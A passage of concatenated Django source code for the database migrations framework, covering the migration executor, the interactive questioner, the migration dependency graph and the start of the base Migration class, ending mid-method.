class Migration(migrations.Migration):
%(replaces_str)s%(initial_str)s
    dependencies = [
%(dependencies)s\
    ]

    operations = [
%(operations)s\
    ]
"""






from __future__ import unicode_literals

from django.apps.registry import apps as global_apps
from django.db import migrations, router

from .exceptions import InvalidMigrationPlan
from .loader import MigrationLoader
from .recorder import MigrationRecorder
from .state import ProjectState


class MigrationExecutor(object):
    """
    End-to-end migration execution - loads migrations, and runs them
    up or down to a specified set of targets.
    """

    def __init__(self, connection, progress_callback=None):
        self.connection = connection
        self.loader = MigrationLoader(self.connection)
        self.recorder = MigrationRecorder(self.connection)
        self.progress_callback = progress_callback

    def migration_plan(self, targets, clean_start=False):
        """
        Given a set of targets, returns a list of (Migration instance, backwards?).
        """
        plan = []
        if clean_start:
            applied = set()
        else:
            applied = set(self.loader.applied_migrations)
        for target in targets:
            # If the target is (app_label, None), that means unmigrate everything
            if target[1] is None:
                for root in self.loader.graph.root_nodes():
                    if root[0] == target[0]:
                        for migration in self.loader.graph.backwards_plan(root):
                            if migration in applied:
                                plan.append((self.loader.graph.nodes[migration], True))
                                applied.remove(migration)
            # If the migration is already applied, do backwards mode,
            # otherwise do forwards mode.
            elif target in applied:
                # Don't migrate backwards all the way to the target node (that
                # may roll back dependencies in other apps that don't need to
                # be rolled back); instead roll back through target's immediate
                # child(ren) in the same app, and no further.
                next_in_app = sorted(
                    n for n in
                    self.loader.graph.node_map[target].children
                    if n[0] == target[0]
                )
                for node in next_in_app:
                    for migration in self.loader.graph.backwards_plan(node):
                        if migration in applied:
                            plan.append((self.loader.graph.nodes[migration], True))
                            applied.remove(migration)
            else:
                for migration in self.loader.graph.forwards_plan(target):
                    if migration not in applied:
                        plan.append((self.loader.graph.nodes[migration], False))
                        applied.add(migration)
        return plan

    def _create_project_state(self):
        return ProjectState(real_apps=list(self.loader.unmigrated_apps))

    def migrate(self, targets, plan=None, fake=False, fake_initial=False):
        """
        Migrates the database up to the given targets.

        Django first needs to create all project states before a migration is
        (un)applied and in a second step run all the database operations.
        """
        if plan is None:
            plan = self.migration_plan(targets)
        # Create the forwards plan Django would follow on an empty database
        full_plan = self.migration_plan(self.loader.graph.leaf_nodes(), clean_start=True)

        all_forwards = all(not backwards for mig, backwards in plan)
        all_backwards = all(backwards for mig, backwards in plan)

        if not plan:
            # Nothing to do for an empty plan, except for building the post
            # migrate project state
            state = self._create_project_state()
        elif all_forwards == all_backwards:
            # This should only happen if there's a mixed plan
            raise InvalidMigrationPlan(
                "Migration plans with both forwards and backwards migrations "
                "are not supported. Please split your migration process into "
                "separate plans of only forwards OR backwards migrations.",
                plan
            )
        elif all_forwards:
            state = self._migrate_all_forwards(plan, full_plan, fake=fake, fake_initial=fake_initial)
        else:
            # No need to check for `elif all_backwards` here, as that condition
            # would always evaluate to true.
            state = self._migrate_all_backwards(plan, full_plan, fake=fake)

        self.check_replacements()

        return state

    def _migrate_all_forwards(self, plan, full_plan, fake, fake_initial):
        """
        Take a list of 2-tuples of the form (migration instance, False) and
        apply them in the order they occur in the full_plan.
        """
        migrations_to_run = {m[0] for m in plan}
        state = self._create_project_state()
        applied_migrations = {
            self.loader.graph.nodes[key] for key in self.loader.applied_migrations
            if key in self.loader.graph.nodes
        }
        for migration, _ in full_plan:
            if not migrations_to_run and not applied_migrations:
                # We remove every migration that we applied from these sets so
                # that we can bail out once the last migration has been applied
                # and don't always run until the very end of the migration
                # process.
                break
            if migration in migrations_to_run:
                if 'apps' not in state.__dict__:
                    if self.progress_callback:
                        self.progress_callback("render_start")
                    state.apps  # Render all -- performance critical
                    if self.progress_callback:
                        self.progress_callback("render_success")
                state = self.apply_migration(state, migration, fake=fake, fake_initial=fake_initial)
                migrations_to_run.remove(migration)
            elif migration in applied_migrations:
                # Only mutate the state if the migration is actually applied
                # to make sure the resulting state doesn't include changes
                # from unrelated migrations.
                migration.mutate_state(state, preserve=False)
                applied_migrations.remove(migration)

        return state

    def _migrate_all_backwards(self, plan, full_plan, fake):
        """
        Take a list of 2-tuples of the form (migration instance, True) and
        unapply them in reverse order they occur in the full_plan.

        Since unapplying a migration requires the project state prior to that
        migration, Django will compute the migration states before each of them
        in a first run over the plan and then unapply them in a second run over
        the plan.
        """
        migrations_to_run = {m[0] for m in plan}
        # Holds all migration states prior to the migrations being unapplied
        states = {}
        state = self._create_project_state()
        applied_migrations = {
            self.loader.graph.nodes[key] for key in self.loader.applied_migrations
            if key in self.loader.graph.nodes
        }
        if self.progress_callback:
            self.progress_callback("render_start")
        for migration, _ in full_plan:
            if not migrations_to_run:
                # We remove every migration that we applied from this set so
                # that we can bail out once the last migration has been applied
                # and don't always run until the very end of the migration
                # process.
                break
            if migration in migrations_to_run:
                if 'apps' not in state.__dict__:
                    state.apps  # Render all -- performance critical
                # The state before this migration
                states[migration] = state
                # The old state keeps as-is, we continue with the new state
                state = migration.mutate_state(state, preserve=True)
                migrations_to_run.remove(migration)
            elif migration in applied_migrations:
                # Only mutate the state if the migration is actually applied
                # to make sure the resulting state doesn't include changes
                # from unrelated migrations.
                migration.mutate_state(state, preserve=False)
        if self.progress_callback:
            self.progress_callback("render_success")

        for migration, _ in plan:
            self.unapply_migration(states[migration], migration, fake=fake)
            applied_migrations.remove(migration)

        # Generate the post migration state by starting from the state before
        # the last migration is unapplied and mutating it to include all the
        # remaining applied migrations.
        last_unapplied_migration = plan[-1][0]
        state = states[last_unapplied_migration]
        for index, (migration, _) in enumerate(full_plan):
            if migration == last_unapplied_migration:
                for migration, _ in full_plan[index:]:
                    if migration in applied_migrations:
                        migration.mutate_state(state, preserve=False)
                break

        return state

    def collect_sql(self, plan):
        """
        Takes a migration plan and returns a list of collected SQL
        statements that represent the best-efforts version of that plan.
        """
        statements = []
        state = None
        for migration, backwards in plan:
            with self.connection.schema_editor(collect_sql=True, atomic=migration.atomic) as schema_editor:
                if state is None:
                    state = self.loader.project_state((migration.app_label, migration.name), at_end=False)
                if not backwards:
                    state = migration.apply(state, schema_editor, collect_sql=True)
                else:
                    state = migration.unapply(state, schema_editor, collect_sql=True)
            statements.extend(schema_editor.collected_sql)
        return statements

    def apply_migration(self, state, migration, fake=False, fake_initial=False):
        """
        Runs a migration forwards.
        """
        if self.progress_callback:
            self.progress_callback("apply_start", migration, fake)
        if not fake:
            if fake_initial:
                # Test to see if this is an already-applied initial migration
                applied, state = self.detect_soft_applied(state, migration)
                if applied:
                    fake = True
            if not fake:
                # Alright, do it normally
                with self.connection.schema_editor(atomic=migration.atomic) as schema_editor:
                    state = migration.apply(state, schema_editor)
        # For replacement migrations, record individual statuses
        if migration.replaces:
            for app_label, name in migration.replaces:
                self.recorder.record_applied(app_label, name)
        else:
            self.recorder.record_applied(migration.app_label, migration.name)
        # Report progress
        if self.progress_callback:
            self.progress_callback("apply_success", migration, fake)
        return state

    def unapply_migration(self, state, migration, fake=False):
        """
        Runs a migration backwards.
        """
        if self.progress_callback:
            self.progress_callback("unapply_start", migration, fake)
        if not fake:
            with self.connection.schema_editor(atomic=migration.atomic) as schema_editor:
                state = migration.unapply(state, schema_editor)
        # For replacement migrations, record individual statuses
        if migration.replaces:
            for app_label, name in migration.replaces:
                self.recorder.record_unapplied(app_label, name)
        else:
            self.recorder.record_unapplied(migration.app_label, migration.name)
        # Report progress
        if self.progress_callback:
            self.progress_callback("unapply_success", migration, fake)
        return state

    def check_replacements(self):
        """
        Mark replacement migrations applied if their replaced set all are.

        We do this unconditionally on every migrate, rather than just when
        migrations are applied or unapplied, so as to correctly handle the case
        when a new squash migration is pushed to a deployment that already had
        all its replaced migrations applied. In this case no new migration will
        be applied, but we still want to correctly maintain the applied state
        of the squash migration.
        """
        applied = self.recorder.applied_migrations()
        for key, migration in self.loader.replacements.items():
            all_applied = all(m in applied for m in migration.replaces)
            if all_applied and key not in applied:
                self.recorder.record_applied(*key)

    def detect_soft_applied(self, project_state, migration):
        """
        Tests whether a migration has been implicitly applied - that the
        tables or columns it would create exist. This is intended only for use
        on initial migrations (as it only looks for CreateModel and AddField).
        """
        def should_skip_detecting_model(migration, model):
            """
            No need to detect tables for proxy models, unmanaged models, or
            models that can't be migrated on the current database.
            """
            return (
                model._meta.proxy or not model._meta.managed or not
                router.allow_migrate(
                    self.connection.alias, migration.app_label,
                    model_name=model._meta.model_name,
                )
            )

        if migration.initial is None:
            # Bail if the migration isn't the first one in its app
            if any(app == migration.app_label for app, name in migration.dependencies):
                return False, project_state
        elif migration.initial is False:
            # Bail if it's NOT an initial migration
            return False, project_state

        if project_state is None:
            after_state = self.loader.project_state((migration.app_label, migration.name), at_end=True)
        else:
            after_state = migration.mutate_state(project_state)
        apps = after_state.apps
        found_create_model_migration = False
        found_add_field_migration = False
        existing_table_names = self.connection.introspection.table_names(self.connection.cursor())
        # Make sure all create model and add field operations are done
        for operation in migration.operations:
            if isinstance(operation, migrations.CreateModel):
                model = apps.get_model(migration.app_label, operation.name)
                if model._meta.swapped:
                    # We have to fetch the model to test with from the
                    # main app cache, as it's not a direct dependency.
                    model = global_apps.get_model(model._meta.swapped)
                if should_skip_detecting_model(migration, model):
                    continue
                if model._meta.db_table not in existing_table_names:
                    return False, project_state
                found_create_model_migration = True
            elif isinstance(operation, migrations.AddField):
                model = apps.get_model(migration.app_label, operation.model_name)
                if model._meta.swapped:
                    # We have to fetch the model to test with from the
                    # main app cache, as it's not a direct dependency.
                    model = global_apps.get_model(model._meta.swapped)
                if should_skip_detecting_model(migration, model):
                    continue

                table = model._meta.db_table
                field = model._meta.get_field(operation.name)

                # Handle implicit many-to-many tables created by AddField.
                if field.many_to_many:
                    if field.remote_field.through._meta.db_table not in existing_table_names:
                        return False, project_state
                    else:
                        found_add_field_migration = True
                        continue

                column_names = [
                    column.name for column in
                    self.connection.introspection.get_table_description(self.connection.cursor(), table)
                ]
                if field.column not in column_names:
                    return False, project_state
                found_add_field_migration = True
        # If we get this far and we found at least one CreateModel or AddField migration,
        # the migration is considered implicitly applied.
        return (found_create_model_migration or found_add_field_migration), after_state






from __future__ import print_function, unicode_literals

import importlib
import os
import sys

from django.apps import apps
from django.db.models.fields import NOT_PROVIDED
from django.utils import datetime_safe, six, timezone
from django.utils.six.moves import input

from .loader import MigrationLoader


class MigrationQuestioner(object):
    """
    Gives the autodetector responses to questions it might have.
    This base class has a built-in noninteractive mode, but the
    interactive subclass is what the command-line arguments will use.
    """

    def __init__(self, defaults=None, specified_apps=None, dry_run=None):
        self.defaults = defaults or {}
        self.specified_apps = specified_apps or set()
        self.dry_run = dry_run

    def ask_initial(self, app_label):
        "Should we create an initial migration for the app?"
        # If it was specified on the command line, definitely true
        if app_label in self.specified_apps:
            return True
        # Otherwise, we look to see if it has a migrations module
        # without any Python files in it, apart from __init__.py.
        # Apps from the new app template will have these; the python
        # file check will ensure we skip South ones.
        try:
            app_config = apps.get_app_config(app_label)
        except LookupError:         # It's a fake app.
            return self.defaults.get("ask_initial", False)
        migrations_import_path = MigrationLoader.migrations_module(app_config.label)
        if migrations_import_path is None:
            # It's an application with migrations disabled.
            return self.defaults.get("ask_initial", False)
        try:
            migrations_module = importlib.import_module(migrations_import_path)
        except ImportError:
            return self.defaults.get("ask_initial", False)
        else:
            if hasattr(migrations_module, "__file__"):
                filenames = os.listdir(os.path.dirname(migrations_module.__file__))
            elif hasattr(migrations_module, "__path__"):
                if len(migrations_module.__path__) > 1:
                    return False
                filenames = os.listdir(list(migrations_module.__path__)[0])
            return not any(x.endswith(".py") for x in filenames if x != "__init__.py")

    def ask_not_null_addition(self, field_name, model_name):
        "Adding a NOT NULL field to a model"
        # None means quit
        return None

    def ask_not_null_alteration(self, field_name, model_name):
        "Changing a NULL field to NOT NULL"
        # None means quit
        return None

    def ask_rename(self, model_name, old_name, new_name, field_instance):
        "Was this field really renamed?"
        return self.defaults.get("ask_rename", False)

    def ask_rename_model(self, old_model_state, new_model_state):
        "Was this model really renamed?"
        return self.defaults.get("ask_rename_model", False)

    def ask_merge(self, app_label):
        "Do you really want to merge these migrations?"
        return self.defaults.get("ask_merge", False)

    def ask_auto_now_add_addition(self, field_name, model_name):
        "Adding an auto_now_add field to a model"
        # None means quit
        return None


class InteractiveMigrationQuestioner(MigrationQuestioner):

    def _boolean_input(self, question, default=None):
        result = input("%s " % question)
        if not result and default is not None:
            return default
        while len(result) < 1 or result[0].lower() not in "yn":
            result = input("Please answer yes or no: ")
        return result[0].lower() == "y"

    def _choice_input(self, question, choices):
        print(question)
        for i, choice in enumerate(choices):
            print(" %s) %s" % (i + 1, choice))
        result = input("Select an option: ")
        while True:
            try:
                value = int(result)
                if 0 < value <= len(choices):
                    return value
            except ValueError:
                pass
            result = input("Please select a valid option: ")

    def _ask_default(self, default=''):
        """
        Prompt for a default value.

        The ``default`` argument allows providing a custom default value (as a
        string) which will be shown to the user and used as the return value
        if the user doesn't provide any other input.
        """
        print("Please enter the default value now, as valid Python")
        if default:
            print(
                "You can accept the default '{}' by pressing 'Enter' or you "
                "can provide another value.".format(default)
            )
        print("The datetime and django.utils.timezone modules are available, so you can do e.g. timezone.now")
        print("Type 'exit' to exit this prompt")
        while True:
            if default:
                prompt = "[default: {}] >>> ".format(default)
            else:
                prompt = ">>> "
            if six.PY3:
                # Six does not correctly abstract over the fact that
                # py3 input returns a unicode string, while py2 raw_input
                # returns a bytestring.
                code = input(prompt)
            else:
                code = input(prompt).decode(sys.stdin.encoding)
            if not code and default:
                code = default
            if not code:
                print("Please enter some code, or 'exit' (with no quotes) to exit.")
            elif code == "exit":
                sys.exit(1)
            else:
                try:
                    return eval(code, {}, {"datetime": datetime_safe, "timezone": timezone})
                except (SyntaxError, NameError) as e:
                    print("Invalid input: %s" % e)

    def ask_not_null_addition(self, field_name, model_name):
        "Adding a NOT NULL field to a model"
        if not self.dry_run:
            choice = self._choice_input(
                "You are trying to add a non-nullable field '%s' to %s without a default; "
                "we can't do that (the database needs something to populate existing rows).\n"
                "Please select a fix:" % (field_name, model_name),
                [
                    ("Provide a one-off default now (will be set on all existing "
                     "rows with a null value for this column)"),
                    "Quit, and let me add a default in models.py",
                ]
            )
            if choice == 2:
                sys.exit(3)
            else:
                return self._ask_default()
        return None

    def ask_not_null_alteration(self, field_name, model_name):
        "Changing a NULL field to NOT NULL"
        if not self.dry_run:
            choice = self._choice_input(
                "You are trying to change the nullable field '%s' on %s to non-nullable "
                "without a default; we can't do that (the database needs something to "
                "populate existing rows).\n"
                "Please select a fix:" % (field_name, model_name),
                [
                    ("Provide a one-off default now (will be set on all existing "
                     "rows with a null value for this column)"),
                    ("Ignore for now, and let me handle existing rows with NULL myself "
                     "(e.g. because you added a RunPython or RunSQL operation to handle "
                     "NULL values in a previous data migration)"),
                    "Quit, and let me add a default in models.py",
                ]
            )
            if choice == 2:
                return NOT_PROVIDED
            elif choice == 3:
                sys.exit(3)
            else:
                return self._ask_default()
        return None

    def ask_rename(self, model_name, old_name, new_name, field_instance):
        "Was this field really renamed?"
        msg = "Did you rename %s.%s to %s.%s (a %s)? [y/N]"
        return self._boolean_input(msg % (model_name, old_name, model_name, new_name,
                                          field_instance.__class__.__name__), False)

    def ask_rename_model(self, old_model_state, new_model_state):
        "Was this model really renamed?"
        msg = "Did you rename the %s.%s model to %s? [y/N]"
        return self._boolean_input(msg % (old_model_state.app_label, old_model_state.name,
                                          new_model_state.name), False)

    def ask_merge(self, app_label):
        return self._boolean_input(
            "\nMerging will only work if the operations printed above do not conflict\n" +
            "with each other (working on different fields or models)\n" +
            "Do you want to merge these migration branches? [y/N]",
            False,
        )

    def ask_auto_now_add_addition(self, field_name, model_name):
        "Adding an auto_now_add field to a model"
        if not self.dry_run:
            choice = self._choice_input(
                "You are trying to add the field '{}' with 'auto_now_add=True' "
                "to {} without a default; the database needs something to "
                "populate existing rows.\n".format(field_name, model_name),
                [
                    "Provide a one-off default now (will be set on all "
                    "existing rows)",
                    "Quit, and let me add a default in models.py",
                ]
            )
            if choice == 2:
                sys.exit(3)
            else:
                return self._ask_default(default='timezone.now')
        return None


class NonInteractiveMigrationQuestioner(MigrationQuestioner):

    def ask_not_null_addition(self, field_name, model_name):
        # We can't ask the user, so act like the user aborted.
        sys.exit(3)

    def ask_not_null_alteration(self, field_name, model_name):
        # We can't ask the user, so set as not provided.
        return NOT_PROVIDED

    def ask_auto_now_add_addition(self, field_name, model_name):
        # We can't ask the user, so act like the user aborted.
        sys.exit(3)






from __future__ import unicode_literals

import sys
import warnings
from collections import deque
from functools import total_ordering

from django.db.migrations.state import ProjectState
from django.utils import six
from django.utils.datastructures import OrderedSet
from django.utils.encoding import python_2_unicode_compatible

from .exceptions import CircularDependencyError, NodeNotFoundError

RECURSION_DEPTH_WARNING = (
    "Maximum recursion depth exceeded while generating migration graph, "
    "falling back to iterative approach. If you're experiencing performance issues, "
    "consider squashing migrations as described at "
    "https://docs.djangoproject.com/en/dev/topics/migrations/#squashing-migrations."
)


@python_2_unicode_compatible
@total_ordering
class Node(object):
    """
    A single node in the migration graph. Contains direct links to adjacent
    nodes in either direction.
    """
    def __init__(self, key):
        self.key = key
        self.children = set()
        self.parents = set()

    def __eq__(self, other):
        return self.key == other

    def __lt__(self, other):
        return self.key < other

    def __hash__(self):
        return hash(self.key)

    def __getitem__(self, item):
        return self.key[item]

    def __str__(self):
        return str(self.key)

    def __repr__(self):
        return '<Node: (%r, %r)>' % self.key

    def add_child(self, child):
        self.children.add(child)

    def add_parent(self, parent):
        self.parents.add(parent)

    # Use manual caching, @cached_property effectively doubles the
    # recursion depth for each recursion.
    def ancestors(self):
        # Use self.key instead of self to speed up the frequent hashing
        # when constructing an OrderedSet.
        if '_ancestors' not in self.__dict__:
            ancestors = deque([self.key])
            for parent in sorted(self.parents):
                ancestors.extendleft(reversed(parent.ancestors()))
            self.__dict__['_ancestors'] = list(OrderedSet(ancestors))
        return self.__dict__['_ancestors']

    # Use manual caching, @cached_property effectively doubles the
    # recursion depth for each recursion.
    def descendants(self):
        # Use self.key instead of self to speed up the frequent hashing
        # when constructing an OrderedSet.
        if '_descendants' not in self.__dict__:
            descendants = deque([self.key])
            for child in sorted(self.children):
                descendants.extendleft(reversed(child.descendants()))
            self.__dict__['_descendants'] = list(OrderedSet(descendants))
        return self.__dict__['_descendants']


class DummyNode(Node):
    def __init__(self, key, origin, error_message):
        super(DummyNode, self).__init__(key)
        self.origin = origin
        self.error_message = error_message

    def __repr__(self):
        return '<DummyNode: (%r, %r)>' % self.key

    def promote(self):
        """
        Transition dummy to a normal node and clean off excess attribs.
        Creating a Node object from scratch would be too much of a
        hassle as many dependendies would need to be remapped.
        """
        del self.origin
        del self.error_message
        self.__class__ = Node

    def raise_error(self):
        raise NodeNotFoundError(self.error_message, self.key, origin=self.origin)


@python_2_unicode_compatible
class MigrationGraph(object):
    """
    Represents the digraph of all migrations in a project.

    Each migration is a node, and each dependency is an edge. There are
    no implicit dependencies between numbered migrations - the numbering is
    merely a convention to aid file listing. Every new numbered migration
    has a declared dependency to the previous number, meaning that VCS
    branch merges can be detected and resolved.

    Migrations files can be marked as replacing another set of migrations -
    this is to support the "squash" feature. The graph handler isn't responsible
    for these; instead, the code to load them in here should examine the
    migration files and if the replaced migrations are all either unapplied
    or not present, it should ignore the replaced ones, load in just the
    replacing migration, and repoint any dependencies that pointed to the
    replaced migrations to point to the replacing one.

    A node should be a tuple: (app_path, migration_name). The tree special-cases
    things within an app - namely, root nodes and leaf nodes ignore dependencies
    to other apps.
    """

    def __init__(self):
        self.node_map = {}
        self.nodes = {}
        self.cached = False

    def add_node(self, key, migration):
        # If the key already exists, then it must be a dummy node.
        dummy_node = self.node_map.get(key)
        if dummy_node:
            # Promote DummyNode to Node.
            dummy_node.promote()
        else:
            node = Node(key)
            self.node_map[key] = node
        self.nodes[key] = migration
        self.clear_cache()

    def add_dummy_node(self, key, origin, error_message):
        node = DummyNode(key, origin, error_message)
        self.node_map[key] = node
        self.nodes[key] = None

    def add_dependency(self, migration, child, parent, skip_validation=False):
        """
        This may create dummy nodes if they don't yet exist.
        If `skip_validation` is set, validate_consistency should be called afterwards.
        """
        if child not in self.nodes:
            error_message = (
                "Migration %s dependencies reference nonexistent"
                " child node %r" % (migration, child)
            )
            self.add_dummy_node(child, migration, error_message)
        if parent not in self.nodes:
            error_message = (
                "Migration %s dependencies reference nonexistent"
                " parent node %r" % (migration, parent)
            )
            self.add_dummy_node(parent, migration, error_message)
        self.node_map[child].add_parent(self.node_map[parent])
        self.node_map[parent].add_child(self.node_map[child])
        if not skip_validation:
            self.validate_consistency()
        self.clear_cache()

    def remove_replaced_nodes(self, replacement, replaced):
        """
        Removes each of the `replaced` nodes (when they exist). Any
        dependencies that were referencing them are changed to reference the
        `replacement` node instead.
        """
        # Cast list of replaced keys to set to speed up lookup later.
        replaced = set(replaced)
        try:
            replacement_node = self.node_map[replacement]
        except KeyError as exc:
            exc_value = NodeNotFoundError(
                "Unable to find replacement node %r. It was either never added"
                " to the migration graph, or has been removed." % (replacement, ),
                replacement
            )
            exc_value.__cause__ = exc
            if not hasattr(exc, '__traceback__'):
                exc.__traceback__ = sys.exc_info()[2]
            six.reraise(NodeNotFoundError, exc_value, sys.exc_info()[2])
        for replaced_key in replaced:
            self.nodes.pop(replaced_key, None)
            replaced_node = self.node_map.pop(replaced_key, None)
            if replaced_node:
                for child in replaced_node.children:
                    child.parents.remove(replaced_node)
                    # We don't want to create dependencies between the replaced
                    # node and the replacement node as this would lead to
                    # self-referencing on the replacement node at a later iteration.
                    if child.key not in replaced:
                        replacement_node.add_child(child)
                        child.add_parent(replacement_node)
                for parent in replaced_node.parents:
                    parent.children.remove(replaced_node)
                    # Again, to avoid self-referencing.
                    if parent.key not in replaced:
                        replacement_node.add_parent(parent)
                        parent.add_child(replacement_node)
        self.clear_cache()

    def remove_replacement_node(self, replacement, replaced):
        """
        The inverse operation to `remove_replaced_nodes`. Almost. Removes the
        replacement node `replacement` and remaps its child nodes to
        `replaced` - the list of nodes it would have replaced. Its parent
        nodes are not remapped as they are expected to be correct already.
        """
        self.nodes.pop(replacement, None)
        try:
            replacement_node = self.node_map.pop(replacement)
        except KeyError as exc:
            exc_value = NodeNotFoundError(
                "Unable to remove replacement node %r. It was either never added"
                " to the migration graph, or has been removed already." % (replacement, ),
                replacement
            )
            exc_value.__cause__ = exc
            if not hasattr(exc, '__traceback__'):
                exc.__traceback__ = sys.exc_info()[2]
            six.reraise(NodeNotFoundError, exc_value, sys.exc_info()[2])
        replaced_nodes = set()
        replaced_nodes_parents = set()
        for key in replaced:
            replaced_node = self.node_map.get(key)
            if replaced_node:
                replaced_nodes.add(replaced_node)
                replaced_nodes_parents |= replaced_node.parents
        # We're only interested in the latest replaced node, so filter out
        # replaced nodes that are parents of other replaced nodes.
        replaced_nodes -= replaced_nodes_parents
        for child in replacement_node.children:
            child.parents.remove(replacement_node)
            for replaced_node in replaced_nodes:
                replaced_node.add_child(child)
                child.add_parent(replaced_node)
        for parent in replacement_node.parents:
            parent.children.remove(replacement_node)
            # NOTE: There is no need to remap parent dependencies as we can
            # assume the replaced nodes already have the correct ancestry.
        self.clear_cache()

    def validate_consistency(self):
        """
        Ensure there are no dummy nodes remaining in the graph.
        """
        [n.raise_error() for n in self.node_map.values() if isinstance(n, DummyNode)]

    def clear_cache(self):
        if self.cached:
            for node in self.nodes:
                self.node_map[node].__dict__.pop('_ancestors', None)
                self.node_map[node].__dict__.pop('_descendants', None)
            self.cached = False

    def forwards_plan(self, target):
        """
        Given a node, returns a list of which previous nodes (dependencies)
        must be applied, ending with the node itself.
        This is the list you would follow if applying the migrations to
        a database.
        """
        if target not in self.nodes:
            raise NodeNotFoundError("Node %r not a valid node" % (target, ), target)
        # Use parent.key instead of parent to speed up the frequent hashing in ensure_not_cyclic
        self.ensure_not_cyclic(target, lambda x: (parent.key for parent in self.node_map[x].parents))
        self.cached = True
        node = self.node_map[target]
        try:
            return node.ancestors()
        except RuntimeError:
            # fallback to iterative dfs
            warnings.warn(RECURSION_DEPTH_WARNING, RuntimeWarning)
            return self.iterative_dfs(node)

    def backwards_plan(self, target):
        """
        Given a node, returns a list of which dependent nodes (dependencies)
        must be unapplied, ending with the node itself.
        This is the list you would follow if removing the migrations from
        a database.
        """
        if target not in self.nodes:
            raise NodeNotFoundError("Node %r not a valid node" % (target, ), target)
        # Use child.key instead of child to speed up the frequent hashing in ensure_not_cyclic
        self.ensure_not_cyclic(target, lambda x: (child.key for child in self.node_map[x].children))
        self.cached = True
        node = self.node_map[target]
        try:
            return node.descendants()
        except RuntimeError:
            # fallback to iterative dfs
            warnings.warn(RECURSION_DEPTH_WARNING, RuntimeWarning)
            return self.iterative_dfs(node, forwards=False)

    def iterative_dfs(self, start, forwards=True):
        """
        Iterative depth first search, for finding dependencies.
        """
        visited = deque()
        visited.append(start)
        if forwards:
            stack = deque(sorted(start.parents))
        else:
            stack = deque(sorted(start.children))
        while stack:
            node = stack.popleft()
            visited.appendleft(node)
            if forwards:
                children = sorted(node.parents, reverse=True)
            else:
                children = sorted(node.children, reverse=True)
            # reverse sorting is needed because prepending using deque.extendleft
            # also effectively reverses values
            stack.extendleft(children)

        return list(OrderedSet(visited))

    def root_nodes(self, app=None):
        """
        Returns all root nodes - that is, nodes with no dependencies inside
        their app. These are the starting point for an app.
        """
        roots = set()
        for node in self.nodes:
            if not any(key[0] == node[0] for key in self.node_map[node].parents) and (not app or app == node[0]):
                roots.add(node)
        return sorted(roots)

    def leaf_nodes(self, app=None):
        """
        Returns all leaf nodes - that is, nodes with no dependents in their app.
        These are the "most current" version of an app's schema.
        Having more than one per app is technically an error, but one that
        gets handled further up, in the interactive command - it's usually the
        result of a VCS merge and needs some user input.
        """
        leaves = set()
        for node in self.nodes:
            if not any(key[0] == node[0] for key in self.node_map[node].children) and (not app or app == node[0]):
                leaves.add(node)
        return sorted(leaves)

    def ensure_not_cyclic(self, start, get_children):
        # Algo from GvR:
        # http://neopythonic.blogspot.co.uk/2009/01/detecting-cycles-in-directed-graph.html
        todo = set(self.nodes)
        while todo:
            node = todo.pop()
            stack = [node]
            while stack:
                top = stack[-1]
                for node in get_children(top):
                    if node in stack:
                        cycle = stack[stack.index(node):]
                        raise CircularDependencyError(", ".join("%s.%s" % n for n in cycle))
                    if node in todo:
                        stack.append(node)
                        todo.remove(node)
                        break
                else:
                    node = stack.pop()

    def __str__(self):
        return 'Graph: %s nodes, %s edges' % self._nodes_and_edges()

    def __repr__(self):
        nodes, edges = self._nodes_and_edges()
        return '<%s: nodes=%s, edges=%s>' % (self.__class__.__name__, nodes, edges)

    def _nodes_and_edges(self):
        return len(self.nodes), sum(len(node.parents) for node in self.node_map.values())

    def make_state(self, nodes=None, at_end=True, real_apps=None):
        """
        Given a migration node or nodes, returns a complete ProjectState for it.
        If at_end is False, returns the state before the migration has run.
        If nodes is not provided, returns the overall most current project state.
        """
        if nodes is None:
            nodes = list(self.leaf_nodes())
        if len(nodes) == 0:
            return ProjectState()
        if not isinstance(nodes[0], tuple):
            nodes = [nodes]
        plan = []
        for node in nodes:
            for migration in self.forwards_plan(node):
                if migration not in plan:
                    if not at_end and migration in nodes:
                        continue
                    plan.append(migration)
        project_state = ProjectState(real_apps=real_apps)
        for node in plan:
            project_state = self.nodes[node].mutate_state(project_state, preserve=False)
        return project_state

    def __contains__(self, node):
        return node in self.nodes






from __future__ import unicode_literals

from django.db.transaction import atomic
from django.utils.encoding import python_2_unicode_compatible

from .exceptions import IrreversibleError


@python_2_unicode_compatible
class Migration(object):
    """
    The base class for all migrations.

    Migration files will import this from django.db.migrations.Migration
    and subclass it as a class called Migration. It will have one or more
    of the following attributes:

     - operations: A list of Operation instances, probably from django.db.migrations.operations
     - dependencies: A list of tuples of (app_path, migration_name)
     - run_before: A list of tuples of (app_path, migration_name)
     - replaces: A list of migration_names

    Note that all migrations come out of migrations and into the Loader or
    Graph as instances, having been initialized with their app label and name.
    """

    # Operations to apply during this migration, in order.
    operations = []

    # Other migrations that should be run before this migration.
    # Should be a list of (app, migration_name).
    dependencies = []

    # Other migrations that should be run after this one (i.e. have
    # this migration added to their dependencies). Useful to make third-party
    # apps' migrations run after your AUTH_USER replacement, for example.
    run_before = []

    # Migration names in this app that this migration replaces. If this is
    # non-empty, this migration will only be applied if all these migrations
    # are not applied.
    replaces = []

    # Is this an initial migration? Initial migrations are skipped on
    # --fake-initial if the table or fields already exist. If None, check if
    # the migration has any dependencies to determine if there are dependencies
    # to tell if db introspection needs to be done. If True, always perform
    # introspection. If False, never perform introspection.
    initial = None

    # Whether to wrap the whole migration in a transaction. Only has an effect
    # on database backends which support transactional DDL.
    atomic = True

    def __init__(self, name, app_label):
        self.name = name
        self.app_label = app_label
        # Copy dependencies & other attrs as we might mutate them at runtime
        self.operations = list(self.__class__.operations)
        self.dependencies = list(self.__class__.dependencies)
        self.run_before = list(self.__class__.run_before)
        self.replaces = list(self.__class__.replaces)

    def __eq__(self, other):
        if not isinstance(other, Migration):
            return False
        return (self.name == other.name) and (self.app_label == other.app_label)

    def __ne__(self, other):
        return not (self == other)

    def __repr__(self):
        return "<Migration %s.%s>" % (self.app_label, self.name)

    def __str__(self):
        return "%s.%s" % (self.app_label, self.name)

    def __hash__(self):
        return hash("%s.%s" % (self.app_label, self.name))

    def mutate_state(self, project_state, preserve=True):
        """
        Takes a ProjectState and returns a new one with the migration's
        operations applied to it. Preserves the original object state by
        default and will return a mutated state from a copy.
        """
        new_state = project_state
        if preserve:
            new_state = project_state.clone()

        for operation in self.operations:
            operation.state_forwards(self.app_label, new_state)
        return new_state

    def apply(self, project_state, schema_editor, collect_sql=False):
        """
        Takes a project_state representing all migrations prior to this one
        and a schema_editor for a live database and applies the migration
        in a forwards order.

        Returns the resulting project state for efficient re-use by following
        Migrations.
        """
        for operation in self.operations:
